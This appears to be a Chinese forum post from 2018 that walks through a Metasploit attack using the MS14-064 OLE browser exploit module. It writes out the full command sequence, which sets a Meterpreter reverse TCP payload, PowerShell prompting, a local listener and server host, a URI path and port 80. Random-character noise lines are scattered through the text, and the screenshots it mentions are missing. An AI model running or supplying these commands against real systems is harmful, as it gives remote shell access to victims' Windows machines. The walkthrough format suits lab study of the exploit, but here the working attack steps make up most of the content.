! z2 U; R3 ^- I3 a& a
我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示
3 x. R$ [( x" l6 F4 p
3 A& n. _. K( |$ ], M% }: C! p0 E9 Y( `/ P* _6 v7 D) h
开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
+ A& _, H- c+ r* p
% ]2 w5 x5 ?7 X- z" E
2 J. N4 k: d7 J1 Z, f5 A; }
然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp
4 V+ G3 t" z# y
7 r! {0 f/ O) K
1 `5 A7 Q7 O# O r% ~4 s set AllowPowershellPrompt true3 m& \: N8 K# \8 z+ t1 O6 \ F
+ L6 ~ R% s5 B) i. p9 K( ^# ~' D: I8 C
Set LHOST 192.168.0.109
2 o5 h% d4 P" t# G0 u8 j
3 A# |9 t- s6 z- s; o5 @
; L0 `6 `- V- C7 O3 k0 t$ Q set SRVHOST 192.168.0.109
" ~9 u$ E* z3 v. t
8 j/ O/ u+ U; _7 y( |2 E& k% w
2 d% ~; {/ o: S' T/ S
Set uripath share# ]( H `& B' n( `
* Q/ s' j7 t, W$ `9 p3 e0 T; w5 Y$ V; Q f( i" z+ [
Set srvport 80. E0 J# `* a' B3 I m
! W& R, D' t4 e# {' o
& q5 U, S, @. E# J0 {2 U2 I1 ?/ C
4 K1 v5 a0 ]/ R: c# M4 C- r
! ^) S) [& r2 T: q3 y
: g2 h( \! N$ R+ S+ [+ k
* K. f* ~4 Z7 `8 A* y* T/ o
5 S$ |* U2 ^# F9 s
& _1 K5 l+ t3 \9 b
) ^- d( T7 U+ {1 u o; n+ H
* }/ {7 L7 v% I6 S3 u9 K
4 i3 `" Q9 W X 9 B0 ~2 {: ^; r( S& `$ X- e
$ Q4 y5 O0 `7 z3 I, F9 b
2 a0 k, b) ?( Y: l+ b0 g% @* a
: Y1 G5 j y% e; O. H `
+ z' _8 w( @. O* g5 w( ~! g/ g8 X* D. D' W+ v5 k
下面我们来访问本地地址如图：4 V1 E8 d0 d( f4 ?+ f* J
4 S: ], U/ G# P: b) w
" V4 c% I$ V( x" z" _- |
; m; _1 ^ b, Y6 S( p
+ K2 u8 R$ [3 u; V2 V8 d6 O/ n
4 s* C; v/ g1 Z/ g
' b2 \. i) F( z: G( r( H# y8 H: h
6 @4 U- t: ^0 E' N0 I2 K
' v( J; w- [& m* ?3 G" w* U 
5 h# d; N1 h0 x' C4 M
发表于 2018-10-20 20:20:35
收藏
支持
反对